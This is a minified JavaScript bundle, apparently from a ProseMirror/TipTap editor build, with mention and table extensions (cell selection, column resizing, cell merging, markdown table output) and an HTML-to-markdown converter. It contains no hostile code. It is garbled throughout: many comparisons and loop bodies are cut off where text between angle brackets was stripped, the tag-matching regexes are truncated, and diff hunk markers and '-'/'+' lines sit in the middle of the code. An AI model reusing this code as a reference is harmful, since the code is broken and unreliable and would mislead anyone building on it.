a=="string"?["span",St({"data-type":this.name},this.options.HTMLAttributes,e),a]:a},...G2({nodeName:"mention",name:"@",selfClosing:!0,allowedAttributes:["id","label",{name:"mentionSuggestionChar",skipIfDefault:"@"}],parseAttributes:t=>{const e={},n=/(\w+)=(?:"([^"]*)"|'([^']*)')/g;let r=n.exec(t);for(;r!==null;){const[,a,i,o]=r,c=i??o;e[a==="char"?"mentionSuggestionChar":a]=c,r=n.exec(t)}return e},serializeAttributes:t=>Object.entries(t).filter(([,e])=>e!=null).map(([e,n])=>`${e==="mentionSuggestionChar"?"char":e}="${n}"`).join(" ")}),renderText({node:t}){const e={options:this.options,node:t,suggestion:UN(this,t.attrs.mentionSuggestionChar)};return this.options.renderLabel!==void 0?(console.warn("renderLabel is deprecated use renderText and renderHTML instead"),this.options.renderLabel(e)):this.options.renderText(e)},addKeyboardShortcuts(){return{Backspace:()=>this.editor.commands.command(({tr:t,state:e})=>{let n=!1;const{selection:r}=e,{empty:a,anchor:i}=r;if(!a)return!1;let o=new wa,c=0;return e.doc.nodesBetween(i-1,i,(u,h)=>{if(u.type.name===this.name)return n=!0,o=u,c=h,!1}),n&&t.insertText(this.options.deleteTriggerWithBackspace?"":o.attrs.mentionSuggestionChar,c,c+o.nodeSize),n})}},addProseMirrorPlugins(){return EC(this).map(Lz)}}),$z=zz,Fz=Cz;let Nx,wx;if(typeof WeakMap<"u"){let t=new WeakMap;Nx=e=>t.get(e),wx=(e,n)=>(t.set(e,n),n)}else{const t=[];let n=0;Nx=r=>{for(let a=0;a(n==10&&(n=0),t[n++]=r,t[n++]=a)}var pn=class{constructor(t,e,n,r){this.width=t,this.height=e,this.map=n,this.problems=r}findCell(t){for(let e=0;e=n){(i||(i=[])).push({type:"overlong_rowspan",pos:f,n:k-E});break}const T=a+E*e;for(let I=0;Ir&&(i+=h.attrs.colspan)}}for(let o=0;o1&&(n=!0)}e==-1?e=i:e!=i&&(e=Math.max(e,i))}return e}function Hz(t,e,n){t.problems||(t.problems=[]);const r={};for(let a=0;a0;e--)if(t.node(e).type.spec.tableRole=="row")return t.node(0).resolve(t.before(e+1));return null}function Uz(t){for(let e=t.depth;e>0;e--){const n=t.node(e).type.spec.tableRole;if(n==="cell"||n==="header_cell")return t.node(e)}return null}function Ms(t){const e=t.selection.$head;for(let n=e.depth;n>0;n--)if(e.node(n).type.spec.tableRole=="row")return!0;return!1}function zf(t){const e=t.selection;if("$anchorCell"in e&&e.$anchorCell)return e.$anchorCell.pos>e.$headCell.pos?e.$anchorCell:e.$headCell;if("node"in e&&e.node&&e.node.type.spec.tableRole=="cell")return e.$anchor;const n=ko(e.$head)||Kz(e.$head);if(n)return n;throw new RangeError(`No cell found around position ${e.head}`)}function Kz(t){for(let e=t.nodeAfter,n=t.pos;e;e=e.firstChild,n++){const r=e.type.spec.tableRole;if(r=="cell"||r=="header_cell")return t.doc.resolve(n)}for(let e=t.nodeBefore,n=t.pos;e;e=e.lastChild,n--){const r=e.type.spec.tableRole;if(r=="cell"||r=="header_cell")return t.doc.resolve(n-e.nodeSize)}}function jx(t){return t.parent.type.spec.tableRole=="row"&&!!t.nodeAfter}function qz(t){return t.node(0).resolve(t.pos+t.nodeAfter.nodeSize)}function q0(t,e){return t.depth==e.depth&&t.pos>=e.start(-1)&&t.pos<=e.end(-1)}function TC(t,e,n){const r=t.node(-1),a=pn.get(r),i=t.start(-1),o=a.nextCell(t.pos-i,e,n);return o==null?null:t.node(0).resolve(i+o)}function So(t,e,n=1){const r={...t,colspan:t.colspan-n};return r.colwidth&&(r.colwidth=r.colwidth.slice(),r.colwidth.splice(e,n),r.colwidth.some(a=>a>0)||(r.colwidth=null)),r}function MC(t,e,n=1){const r={...t,colspan:t.colspan+n};if(r.colwidth){r.colwidth=r.colwidth.slice();for(let a=0;af!=n.pos-i);u.unshift(n.pos-i);const h=u.map(f=>{const m=r.nodeAt(f);if(!m)throw new RangeError(`No cell with offset ${f} found`);const g=i+f+1;return new yS(c.resolve(g),c.resolve(g+m.content.size))});super(h[0].$from,h[0].$to,h),this.$anchorCell=e,this.$headCell=n}map(e,n){const r=e.resolve(n.map(this.$anchorCell.pos)),a=e.resolve(n.map(this.$headCell.pos));if(jx(r)&&jx(a)&&q0(r,a)){const i=this.$anchorCell.node(-1)!=r.node(-1);return i&&this.isRowSelection()?xa.rowSelection(r,a):i&&this.isColSelection()?xa.colSelection(r,a):new xa(r,a)}return Ze.between(r,a)}content(){const e=this.$anchorCell.node(-1),n=pn.get(e),r=this.$anchorCell.start(-1),a=n.rectBetween(this.$anchorCell.pos-r,this.$headCell.pos-r),i={},o=[];for(let u=a.top;u0||v>0){let k=N.attrs;if(w>0&&(k=So(k,0,w)),v>0&&(k=So(k,k.colspan-v,v)),y.lefta.bottom){const k={...N.attrs,rowspan:Math.min(y.bottom,a.bottom)-Math.max(y.top,a.top)};y.top0)return!1;const r=e+this.$anchorCell.nodeAfter.attrs.rowspan,a=n+this.$headCell.nodeAfter.attrs.rowspan;return Math.max(r,a)==this.$headCell.node(-1).childCount}static colSelection(e,n=e){const r=e.node(-1),a=pn.get(r),i=e.start(-1),o=a.findCell(e.pos-i),c=a.findCell(n.pos-i),u=e.node(0);return o.top<=c.top?(o.top>0&&(e=u.resolve(i+a.map[o.left])),c.bottom0&&(n=u.resolve(i+a.map[c.left])),o.bottom0)return!1;const o=a+this.$anchorCell.nodeAfter.attrs.colspan,c=i+this.$headCell.nodeAfter.attrs.colspan;return Math.max(o,c)==n.width}eq(e){return e instanceof xa&&e.$anchorCell.pos==this.$anchorCell.pos&&e.$headCell.pos==this.$headCell.pos}static rowSelection(e,n=e){const r=e.node(-1),a=pn.get(r),i=e.start(-1),o=a.findCell(e.pos-i),c=a.findCell(n.pos-i),u=e.node(0);return o.left<=c.left?(o.left>0&&(e=u.resolve(i+a.map[o.top*a.width])),c.right0&&(n=u.resolve(i+a.map[c.top*a.width])),o.right{e.push(An.node(r,r+n.nodeSize,{class:"selectedCell"}))}),$t.create(t.doc,e)}function Qz({$from:t,$to:e}){if(t.pos==e.pos||t.pos=0&&!(t.after(a+1)=0&&!(e.before(i+1)>e.start(i));i--,r--);return n==r&&/row|table/.test(t.node(a).type.spec.tableRole)}function Xz({$from:t,$to:e}){let n,r;for(let a=t.depth;a>0;a--){const i=t.node(a);if(i.type.spec.tableRole==="cell"||i.type.spec.tableRole==="header_cell"){n=i;break}}for(let a=e.depth;a>0;a--){const i=e.node(a);if(i.type.spec.tableRole==="cell"||i.type.spec.tableRole==="header_cell"){r=i;break}}return n!==r&&e.parentOffset===0}function Zz(t,e,n){const r=(e||t).selection,a=(e||t).doc;let i,o;if(r instanceof Xe&&(o=r.node.type.spec.tableRole)){if(o=="cell"||o=="header_cell")i=Ut.create(a,r.from);else if(o=="row"){const c=a.resolve(r.from+1);i=Ut.rowSelection(c,c)}else if(!n){const c=pn.get(r.node),u=r.from+1,h=u+c.map[c.width*c.height-1];i=Ut.create(a,u+1,h)}}else r instanceof Ze&&Qz(r)?i=Ze.create(a,r.from):r instanceof Ze&&Xz(r)&&(i=Ze.create(a,r.$from.start(),r.$from.end()));return i&&(e||(e=t.tr)).setSelection(i),e}const e$=new tn("fix-tables");function IC(t,e,n,r){const a=t.childCount,i=e.childCount;e:for(let o=0,c=0;o{a.type.spec.tableRole=="table"&&(n=t$(t,a,i,n))};return e?e.doc!=t.doc&&IC(e.doc,t.doc,0,r):t.doc.descendants(r),n}function t$(t,e,n,r){const a=pn.get(e);if(!a.problems)return r;r||(r=t.tr);const i=[];for(let u=0;u0){let y="cell";f.firstChild&&(y=f.firstChild.type.spec.tableRole);const N=[];for(let v=0;v0?-1:0;Gz(e,r,a+i)&&(i=a==0||a==e.width?null:0);for(let o=0;o0&&a0&&e.map[c-1]==u||a0?-1:0;i$(e,r,a+c)&&(c=a==0||a==e.height?null:0);for(let h=0,f=e.width*a;h0&&a0&&m==e.map[f-e.width]){const g=n.nodeAt(m).attrs;t.setNodeMarkup(t.mapping.slice(c).map(m+r),null,{...g,rowspan:g.rowspan-1}),h+=g.colspan-1}else if(a0&&n[i]==n[i-1]||r.right0&&n[a]==n[a-t]||r.bottom0){const f=u+1+h.content.size,m=KN(h)?u+1:f;i.replaceWith(m+r.tableStart,f+r.tableStart,c)}i.setSelection(new Ut(i.doc.resolve(u+r.tableStart))),e(i)}return!0}function GN(t,e){const n=hr(t.schema);return h$(({node:r})=>n[r.type.spec.tableRole])(t,e)}function h$(t){return(e,n)=>{const r=e.selection;let a,i;if(r instanceof Ut){if(r.$anchorCell.pos!=r.$headCell.pos)return!1;a=r.$anchorCell.nodeAfter,i=r.$anchorCell.pos}else{var o;if(a=Uz(r.$from),!a)return!1;i=(o=ko(r.$from))===null||o===void 0?void 0:o.pos}if(a==null||i==null||a.attrs.colspan==1&&a.attrs.rowspan==1)return!1;if(n){let c=a.attrs;const u=[],h=c.colwidth;c.rowspan>1&&(c={...c,rowspan:1}),c.colspan>1&&(c={...c,colspan:1});const f=Js(e),m=e.tr;for(let y=0;y{o.attrs[t]!==e&&i.setNodeMarkup(c,null,{...o.attrs,[t]:e})}):i.setNodeMarkup(a.pos,null,{...a.nodeAfter.attrs,[t]:e}),r(i)}return!0}}function p$(t){return function(e,n){if(!Ms(e))return!1;if(n){const r=hr(e.schema),a=Js(e),i=e.tr,o=a.map.cellsInRect(t=="column"?{left:a.left,top:0,right:a.right,bottom:a.map.height}:t=="row"?{left:0,top:a.top,right:a.map.width,bottom:a.bottom}:a),c=o.map(u=>a.table.nodeAt(u));for(let u=0;u{const y=g+i.tableStart,N=o.doc.nodeAt(y);N&&o.setNodeMarkup(y,m,N.attrs)}),r(o)}return!0}}hd("row",{useDeprecatedLogic:!0});hd("column",{useDeprecatedLogic:!0});const m$=hd("cell",{useDeprecatedLogic:!0});function g$(t,e){if(e<0){const n=t.nodeBefore;if(n)return t.pos-n.nodeSize;for(let r=t.index(-1)-1,a=t.before();r>=0;r--){const i=t.node(-1).child(r),o=i.lastChild;if(o)return a-1-o.nodeSize;a-=i.nodeSize}}else{if(t.index()0;r--)if(n.node(r).type.spec.tableRole=="table")return e&&e(t.tr.delete(n.before(r),n.after(r)).scrollIntoView()),!0;return!1}function qu(t,e){const n=t.selection;if(!(n instanceof Ut))return!1;if(e){const r=t.tr,a=hr(t.schema).cell.createAndFill().content;n.forEachCell((i,o)=>{i.content.eq(a)||r.replace(r.mapping.map(o+1),r.mapping.map(o+i.nodeSize-1),new Ie(a,0,0))}),r.docChanged&&e(r)}return!0}function y$(t){if(t.size===0)return null;let{content:e,openStart:n,openEnd:r}=t;for(;e.childCount==1&&(n>0&&r>0||e.child(0).type.spec.tableRole=="table");)n--,r--,e=e.child(0).content;const a=e.child(0),i=a.type.spec.tableRole,o=a.type.schema,c=[];if(i=="row")for(let u=0;u=0;o--){const{rowspan:c,colspan:u}=i.child(o).attrs;for(let h=a;h=e.length&&e.push(be.empty),n[a]r&&(g=g.type.createChecked(So(g.attrs,g.attrs.colspan,f+g.attrs.colspan-r),g.content)),h.push(g),f+=g.attrs.colspan;for(let y=1;ya&&(m=m.type.create({...m.attrs,rowspan:Math.max(1,a-m.attrs.rowspan)},m.content)),u.push(m)}i.push(be.from(u))}n=i,e=a}return{width:t,height:e,rows:n}}function N$(t,e,n,r,a,i,o){const c=t.doc.type.schema,u=hr(c);let h,f;if(a>e.width)for(let m=0,g=0;me.height){const m=[];for(let N=0,w=(e.height-1)*e.width;N=e.width?!1:n.nodeAt(e.map[w+N]).type==u.header_cell;m.push(v?f||(f=u.header_cell.createAndFill()):h||(h=u.cell.createAndFill()))}const g=u.row.create(null,be.from(m)),y=[];for(let N=e.height;N{if(!a)return!1;const i=n.selection;if(i instanceof Ut)return ah(n,r,rt.near(i.$headCell,e));if(t!="horiz"&&!i.empty)return!1;const o=DC(a,t,e);if(o==null)return!1;if(t=="horiz")return ah(n,r,rt.near(n.doc.resolve(i.head+e),e));{const c=n.doc.resolve(o),u=TC(c,t,e);let h;return u?h=rt.near(u,1):e<0?h=rt.near(n.doc.resolve(c.before(-1)),-1):h=rt.near(n.doc.resolve(c.after(-1)),1),ah(n,r,h)}}}function Ju(t,e){return(n,r,a)=>{if(!a)return!1;const i=n.selection;let o;if(i instanceof Ut)o=i;else{const u=DC(a,t,e);if(u==null)return!1;o=new Ut(n.doc.resolve(u))}const c=TC(o.$headCell,t,e);return c?ah(n,r,new Ut(o.$anchorCell,c)):!1}}function j$(t,e){const n=t.state.doc,r=ko(n.resolve(e));return r?(t.dispatch(t.state.tr.setSelection(new Ut(r))),!0):!1}function k$(t,e,n){if(!Ms(t.state))return!1;let r=y$(n);const a=t.state.selection;if(a instanceof Ut){r||(r={width:1,height:1,rows:[be.from(kx(hr(t.state.schema).cell,n))]});const i=a.$anchorCell.node(-1),o=a.$anchorCell.start(-1),c=pn.get(i).rectBetween(a.$anchorCell.pos-o,a.$headCell.pos-o);return r=v$(r,c.right-c.left,c.bottom-c.top),ZN(t.state,t.dispatch,o,c,r),!0}else if(r){const i=zf(t.state),o=i.start(-1);return ZN(t.state,t.dispatch,o,pn.get(i.node(-1)).findCell(i.pos-o),r),!0}else return!1}function S$(t,e){var n;if(e.button!=0||e.ctrlKey||e.metaKey)return;const r=ew(t,e.target);let a;if(e.shiftKey&&t.state.selection instanceof Ut)i(t.state.selection.$anchorCell,e),e.preventDefault();else if(e.shiftKey&&r&&(a=ko(t.state.selection.$anchor))!=null&&((n=yg(t,e))===null||n===void 0?void 0:n.pos)!=a.pos)i(a,e),e.preventDefault();else if(!r)return;function i(u,h){let f=yg(t,h);const m=ii.getState(t.state)==null;if(!f||!q0(u,f))if(m)f=u;else return;const g=new Ut(u,f);if(m||!t.state.selection.eq(g)){const y=t.state.tr.setSelection(g);m&&y.setMeta(ii,u.pos),t.dispatch(y)}}function o(){t.root.removeEventListener("mouseup",o),t.root.removeEventListener("dragstart",o),t.root.removeEventListener("mousemove",c),ii.getState(t.state)!=null&&t.dispatch(t.state.tr.setMeta(ii,-1))}function c(u){const h=u,f=ii.getState(t.state);let m;if(f!=null)m=t.state.doc.resolve(f);else if(ew(t,h.target)!=r&&(m=yg(t,e),!m))return o();m&&i(m,h)}t.root.addEventListener("mouseup",o),t.root.addEventListener("dragstart",o),t.root.addEventListener("mousemove",c)}function DC(t,e,n){if(!(t.state.selection instanceof Ze))return null;const{$head:r}=t.state.selection;for(let a=r.depth-1;a>=0;a--){const i=r.node(a);if((n<0?r.index(a):r.indexAfter(a))!=(n<0?0:i.childCount))return null;if(i.type.spec.tableRole=="cell"||i.type.spec.tableRole=="header_cell"){const o=r.before(a),c=e=="vert"?n>0?"down":"up":n>0?"right":"left";return t.endOfTextblock(c)?o:null}}return null}function ew(t,e){for(;e&&e!=t.dom;e=e.parentNode)if(e.nodeName=="TD"||e.nodeName=="TH")return e;return null}function yg(t,e){const n=t.posAtCoords({left:e.clientX,top:e.clientY});if(!n)return null;let{inside:r,pos:a}=n;return r>=0&&ko(t.state.doc.resolve(r))||ko(t.state.doc.resolve(a))}var C$=class{constructor(e,n){this.node=e,this.defaultCellMinWidth=n,this.dom=document.createElement("div"),this.dom.className="tableWrapper",this.table=this.dom.appendChild(document.createElement("table")),this.table.style.setProperty("--default-cell-min-width",`${n}px`),this.colgroup=this.table.appendChild(document.createElement("colgroup")),Sx(e,this.colgroup,this.table,n),this.contentDOM=this.table.appendChild(document.createElement("tbody"))}update(e){return e.type!=this.node.type?!1:(this.node=e,Sx(e,this.colgroup,this.table,this.defaultCellMinWidth),!0)}ignoreMutation(e){return e.type=="attributes"&&(e.target==this.table||this.colgroup.contains(e.target))}};function Sx(t,e,n,r,a,i){let o=0,c=!0,u=e.firstChild;const h=t.firstChild;if(h){for(let m=0,g=0;mnew r(m,n,g)),new T$(-1,!1)},apply(o,c){return c.apply(o)}},props:{attributes:o=>{const c=Fr.getState(o);return c&&c.activeHandle>-1?{class:"resize-cursor"}:{}},handleDOMEvents:{mousemove:(o,c)=>{M$(o,c,t,a)},mouseleave:o=>{A$(o)},mousedown:(o,c)=>{I$(o,c,e,n)}},decorations:o=>{const c=Fr.getState(o);if(c&&c.activeHandle>-1)return L$(o,c.activeHandle)},nodeViews:{}}});return i}var T$=class ih{constructor(e,n){this.activeHandle=e,this.dragging=n}apply(e){const n=this,r=e.getMeta(Fr);if(r&&r.setHandle!=null)return new ih(r.setHandle,!1);if(r&&r.setDragging!==void 0)return new ih(n.activeHandle,r.setDragging);if(n.activeHandle>-1&&e.docChanged){let a=e.mapping.map(n.activeHandle,-1);return jx(e.doc.resolve(a))||(a=-1),new ih(a,n.dragging)}return n}};function M$(t,e,n,r){if(!t.editable)return;const a=Fr.getState(t.state);if(a&&!a.dragging){const i=P$(e.target);let o=-1;if(i){const{left:c,right:u}=i.getBoundingClientRect();e.clientX-c<=n?o=tw(t,e,"left",n):u-e.clientX<=n&&(o=tw(t,e,"right",n))}if(o!=a.activeHandle){if(!r&&o!==-1){const c=t.state.doc.resolve(o),u=c.node(-1),h=pn.get(u),f=c.start(-1);if(h.colCount(c.pos-f)+c.nodeAfter.attrs.colspan-1==h.width-1)return}LC(t,o)}}}function A$(t){if(!t.editable)return;const e=Fr.getState(t.state);e&&e.activeHandle>-1&&!e.dragging&&LC(t,-1)}function I$(t,e,n,r){var a;if(!t.editable)return!1;const i=(a=t.dom.ownerDocument.defaultView)!==null&&a!==void 0?a:window,o=Fr.getState(t.state);if(!o||o.activeHandle==-1||o.dragging)return!1;const c=t.state.doc.nodeAt(o.activeHandle),u=R$(t,o.activeHandle,c.attrs);t.dispatch(t.state.tr.setMeta(Fr,{setDragging:{startX:e.clientX,startWidth:u}}));function h(m){i.removeEventListener("mouseup",h),i.removeEventListener("mousemove",f);const g=Fr.getState(t.state);g!=null&&g.dragging&&(O$(t,g.activeHandle,nw(g.dragging,m,n)),t.dispatch(t.state.tr.setMeta(Fr,{setDragging:null})))}function f(m){if(!m.which)return h(m);const g=Fr.getState(t.state);if(g&&g.dragging){const y=nw(g.dragging,m,n);rw(t,g.activeHandle,y,r)}}return rw(t,o.activeHandle,u,r),i.addEventListener("mouseup",h),i.addEventListener("mousemove",f),e.preventDefault(),!0}function R$(t,e,{colspan:n,colwidth:r}){const a=r&&r[r.length-1];if(a)return a;const i=t.domAtPos(e);let o=i.node.childNodes[i.offset].offsetWidth,c=n;if(r)for(let u=0;u{var e,n;const r=t.getAttribute("colwidth"),a=r?r.split(",").map(i=>parseInt(i,10)):null;if(!a){const i=(e=t.closest("table"))==null?void 0:e.querySelectorAll("colgroup > col"),o=Array.from(((n=t.parentElement)==null?void 0:n.children)||[]).indexOf(t);if(o&&o>-1&&i&&i[o]){const c=i[o].getAttribute("width");return c?[parseInt(c,10)]:null}}return a}}}},tableRole:"cell",isolating:!0,parseHTML(){return[{tag:"td"}]},renderHTML({HTMLAttributes:t}){return["td",St(this.options.HTMLAttributes,t),0]}}),zC=Cn.create({name:"tableHeader",addOptions(){return{HTMLAttributes:{}}},content:"block+",addAttributes(){return{colspan:{default:1},rowspan:{default:1},colwidth:{default:null,parseHTML:t=>{const e=t.getAttribute("colwidth");return e?e.split(",").map(r=>parseInt(r,10)):null}}}},tableRole:"header_cell",isolating:!0,parseHTML(){return[{tag:"th"}]},renderHTML({HTMLAttributes:t}){return["th",St(this.options.HTMLAttributes,t),0]}}),$C=Cn.create({name:"tableRow",addOptions(){return{HTMLAttributes:{}}},content:"(tableCell | tableHeader)*",tableRole:"row",parseHTML(){return[{tag:"tr"}]},renderHTML({HTMLAttributes:t}){return["tr",St(this.options.HTMLAttributes,t),0]}});function Cx(t,e){return e?["width",`${Math.max(e,t)}px`]:["min-width",`${t}px`]}function sw(t,e,n,r,a,i){var o;let c=0,u=!0,h=e.firstChild;const f=t.firstChild;if(f!==null)for(let g=0,y=0;g{const r=t.nodes[n];r.spec.tableRole&&(e[r.spec.tableRole]=r)}),t.cached.tableNodeTypes=e,e}function B$(t,e,n,r,a){const i=F$(t),o=[],c=[];for(let h=0;h{const{selection:e}=t.state;if(!V$(e))return!1;let n=0;const r=w2(e.ranges[0].$from,i=>i.type.name==="table");return r==null||r.node.descendants(i=>{if(i.type.name==="table")return!1;["tableCell","tableHeader"].includes(i.type.name)&&(n+=1)}),n===e.ranges.length?(t.commands.deleteTable(),!0):!1},H$="";function W$(t){return(t||"").replace(/\s+/g," ").trim()}function U$(t,e,n={}){var r;const a=(r=n.cellLineSeparator)!=null?r:H$;if(!t||!t.content||t.content.length===0)return"";const i=[];t.content.forEach(N=>{const w=[];N.content&&N.content.forEach(v=>{let k="";v.content&&Array.isArray(v.content)&&v.content.length>1?k=v.content.map(I=>e.renderChildren(I)).join(a):k=v.content?e.renderChildren(v.content):"";const C=W$(k),E=v.type==="tableHeader";w.push({text:C,isHeader:E})}),i.push(w)});const o=i.reduce((N,w)=>Math.max(N,w.length),0);if(o===0)return"";const c=new Array(o).fill(0);i.forEach(N=>{var w;for(let v=0;vc[v]&&(c[v]=C),c[v]<3&&(c[v]=3)}});const u=(N,w)=>N+" ".repeat(Math.max(0,w-N.length)),h=i[0],f=h.some(N=>N.isHeader);let m=` `;const g=new Array(o).fill(0).map((N,w)=>f&&h[w]&&h[w].text||"");return m+=`| ${g.map((N,w)=>u(N,c[w])).join(" | ")} | `,m+=`| ${c.map(N=>"-".repeat(Math.max(3,N))).join(" | ")} | `,(f?i.slice(1):i).forEach(N=>{m+=`| ${new Array(o).fill(0).map((w,v)=>u(N[v]&&N[v].text||"",c[v])).join(" | ")} | -`}),m}var K$=U$,FC=Cn.create({name:"table",addOptions(){return{HTMLAttributes:{},resizable:!1,renderWrapper:!1,handleWidth:5,cellMinWidth:25,View:z$,lastColumnResizable:!0,allowTableNodeSelection:!1}},content:"tableRow+",tableRole:"table",isolating:!0,group:"block",parseHTML(){return[{tag:"table"}]},renderHTML({node:t,HTMLAttributes:e}){const{colgroup:n,tableWidth:r,tableMinWidth:a}=$$(t,this.options.cellMinWidth),i=e.style;function o(){return i||(r?`width: ${r}`:`min-width: ${a}`)}const c=["table",St(this.options.HTMLAttributes,e,{style:o()}),n,["tbody",0]];return this.options.renderWrapper?["div",{class:"tableWrapper"},c]:c},parseMarkdown:(t,e)=>{const n=[];if(t.header){const r=[];t.header.forEach(a=>{r.push(e.createNode("tableHeader",{},[{type:"paragraph",content:e.parseInline(a.tokens)}]))}),n.push(e.createNode("tableRow",{},r))}return t.rows&&t.rows.forEach(r=>{const a=[];r.forEach(i=>{a.push(e.createNode("tableCell",{},[{type:"paragraph",content:e.parseInline(i.tokens)}]))}),n.push(e.createNode("tableRow",{},a))}),e.createNode("table",void 0,n)},renderMarkdown:(t,e)=>K$(t,e),addCommands(){return{insertTable:({rows:t=3,cols:e=3,withHeaderRow:n=!0}={})=>({tr:r,dispatch:a,editor:i})=>{const o=B$(i.schema,t,e,n);if(a){const c=r.selection.from+1;r.replaceSelectionWith(o).scrollIntoView().setSelection(Ze.near(r.doc.resolve(c)))}return!0},addColumnBefore:()=>({state:t,dispatch:e})=>n$(t,e),addColumnAfter:()=>({state:t,dispatch:e})=>r$(t,e),deleteColumn:()=>({state:t,dispatch:e})=>a$(t,e),addRowBefore:()=>({state:t,dispatch:e})=>o$(t,e),addRowAfter:()=>({state:t,dispatch:e})=>l$(t,e),deleteRow:()=>({state:t,dispatch:e})=>d$(t,e),deleteTable:()=>({state:t,dispatch:e})=>x$(t,e),mergeCells:()=>({state:t,dispatch:e})=>qN(t,e),splitCell:()=>({state:t,dispatch:e})=>GN(t,e),toggleHeaderColumn:()=>({state:t,dispatch:e})=>hd("column")(t,e),toggleHeaderRow:()=>({state:t,dispatch:e})=>hd("row")(t,e),toggleHeaderCell:()=>({state:t,dispatch:e})=>m$(t,e),mergeOrSplit:()=>({state:t,dispatch:e})=>qN(t,e)?!0:GN(t,e),setCellAttribute:(t,e)=>({state:n,dispatch:r})=>f$(t,e)(n,r),goToNextCell:()=>({state:t,dispatch:e})=>YN(1)(t,e),goToPreviousCell:()=>({state:t,dispatch:e})=>YN(-1)(t,e),fixTables:()=>({state:t,dispatch:e})=>(e&&RC(t),!0),setCellSelection:t=>({tr:e,dispatch:n})=>{if(n){const r=Ut.create(e.doc,t.anchorCell,t.headCell);e.setSelection(r)}return!0}}},addKeyboardShortcuts(){return{Tab:()=>this.editor.commands.goToNextCell()?!0:this.editor.can().addRowAfter()?this.editor.chain().addRowAfter().goToNextCell().run():!1,"Shift-Tab":()=>this.editor.commands.goToPreviousCell(),Backspace:Yu,"Mod-Backspace":Yu,Delete:Yu,"Mod-Delete":Yu}},addProseMirrorPlugins(){return[...this.options.resizable&&this.editor.isEditable?[E$({handleWidth:this.options.handleWidth,cellMinWidth:this.options.cellMinWidth,defaultCellMinWidth:this.options.cellMinWidth,View:this.options.View,lastColumnResizable:this.options.lastColumnResizable})]:[],_$({allowTableNodeSelection:this.options.allowTableNodeSelection})]},extendNodeSchema(t){const e={name:t.name,options:t.options,storage:t.storage};return{tableRole:jt(Ue(t,"tableRole",e))}}});mn.create({name:"tableKit",addExtensions(){const t=[];return this.options.table!==!1&&t.push(FC.configure(this.options.table)),this.options.tableCell!==!1&&t.push(_C.configure(this.options.tableCell)),this.options.tableHeader!==!1&&t.push(zC.configure(this.options.tableHeader)),this.options.tableRow!==!1&&t.push($C.configure(this.options.tableRow)),t}});function q$(t){if(!t)return"";let e=t;return e=e.replace(/]*>(.*?)<\/h1>/gi,`# $1 +`}),m}var K$=U$,FC=Cn.create({name:"table",addOptions(){return{HTMLAttributes:{},resizable:!1,renderWrapper:!1,handleWidth:5,cellMinWidth:25,View:z$,lastColumnResizable:!0,allowTableNodeSelection:!1}},content:"tableRow+",tableRole:"table",isolating:!0,group:"block",parseHTML(){return[{tag:"table"}]},renderHTML({node:t,HTMLAttributes:e}){const{colgroup:n,tableWidth:r,tableMinWidth:a}=$$(t,this.options.cellMinWidth),i=e.style;function o(){return i||(r?`width: ${r}`:`min-width: ${a}`)}const c=["table",St(this.options.HTMLAttributes,e,{style:o()}),n,["tbody",0]];return this.options.renderWrapper?["div",{class:"tableWrapper"},c]:c},parseMarkdown:(t,e)=>{const n=[];if(t.header){const r=[];t.header.forEach(a=>{r.push(e.createNode("tableHeader",{},[{type:"paragraph",content:e.parseInline(a.tokens)}]))}),n.push(e.createNode("tableRow",{},r))}return t.rows&&t.rows.forEach(r=>{const a=[];r.forEach(i=>{a.push(e.createNode("tableCell",{},[{type:"paragraph",content:e.parseInline(i.tokens)}]))}),n.push(e.createNode("tableRow",{},a))}),e.createNode("table",void 0,n)},renderMarkdown:(t,e)=>K$(t,e),addCommands(){return{insertTable:({rows:t=3,cols:e=3,withHeaderRow:n=!0}={})=>({tr:r,dispatch:a,editor:i})=>{const o=B$(i.schema,t,e,n);if(a){const c=r.selection.from+1;r.replaceSelectionWith(o).scrollIntoView().setSelection(Ze.near(r.doc.resolve(c)))}return!0},addColumnBefore:()=>({state:t,dispatch:e})=>n$(t,e),addColumnAfter:()=>({state:t,dispatch:e})=>r$(t,e),deleteColumn:()=>({state:t,dispatch:e})=>a$(t,e),addRowBefore:()=>({state:t,dispatch:e})=>o$(t,e),addRowAfter:()=>({state:t,dispatch:e})=>l$(t,e),deleteRow:()=>({state:t,dispatch:e})=>d$(t,e),deleteTable:()=>({state:t,dispatch:e})=>x$(t,e),mergeCells:()=>({state:t,dispatch:e})=>qN(t,e),splitCell:()=>({state:t,dispatch:e})=>GN(t,e),toggleHeaderColumn:()=>({state:t,dispatch:e})=>hd("column")(t,e),toggleHeaderRow:()=>({state:t,dispatch:e})=>hd("row")(t,e),toggleHeaderCell:()=>({state:t,dispatch:e})=>m$(t,e),mergeOrSplit:()=>({state:t,dispatch:e})=>qN(t,e)?!0:GN(t,e),setCellAttribute:(t,e)=>({state:n,dispatch:r})=>f$(t,e)(n,r),goToNextCell:()=>({state:t,dispatch:e})=>YN(1)(t,e),goToPreviousCell:()=>({state:t,dispatch:e})=>YN(-1)(t,e),fixTables:()=>({state:t,dispatch:e})=>(e&&RC(t),!0),setCellSelection:t=>({tr:e,dispatch:n})=>{if(n){const r=Ut.create(e.doc,t.anchorCell,t.headCell);e.setSelection(r)}return!0}}},addKeyboardShortcuts(){return{Tab:()=>this.editor.commands.goToNextCell()?!0:this.editor.can().addRowAfter()?this.editor.chain().addRowAfter().goToNextCell().run():!1,"Shift-Tab":()=>this.editor.commands.goToPreviousCell(),Backspace:Yu,"Mod-Backspace":Yu,Delete:Yu,"Mod-Delete":Yu}},addProseMirrorPlugins(){return[...this.options.resizable&&this.editor.isEditable?[E$({handleWidth:this.options.handleWidth,cellMinWidth:this.options.cellMinWidth,defaultCellMinWidth:this.options.cellMinWidth,View:this.options.View,lastColumnResizable:this.options.lastColumnResizable})]:[],_$({allowTableNodeSelection:this.options.allowTableNodeSelection})]},extendNodeSchema(t){const e={name:t.name,options:t.options,storage:t.storage};return{tableRole:jt(Ke(t,"tableRole",e))}}});mn.create({name:"tableKit",addExtensions(){const t=[];return this.options.table!==!1&&t.push(FC.configure(this.options.table)),this.options.tableCell!==!1&&t.push(_C.configure(this.options.tableCell)),this.options.tableHeader!==!1&&t.push(zC.configure(this.options.tableHeader)),this.options.tableRow!==!1&&t.push($C.configure(this.options.tableRow)),t}});function q$(t){if(!t)return"";let e=t;return e=e.replace(/]*>(.*?)<\/h1>/gi,`# $1 `),e=e.replace(/]*>(.*?)<\/h2>/gi,`## $1 @@ -772,7 +772,7 @@ ${y.slice(h+2)}`,m+=1;else break}e.push({indent:h,number:parseInt(c,10),content: `),r=[];for(const a of n){const i=a.trim();i&&(/^<(?:h[1-6]|blockquote|hr|li|ul|ol|table|img)/.test(i)?r.push(i):r.push(`

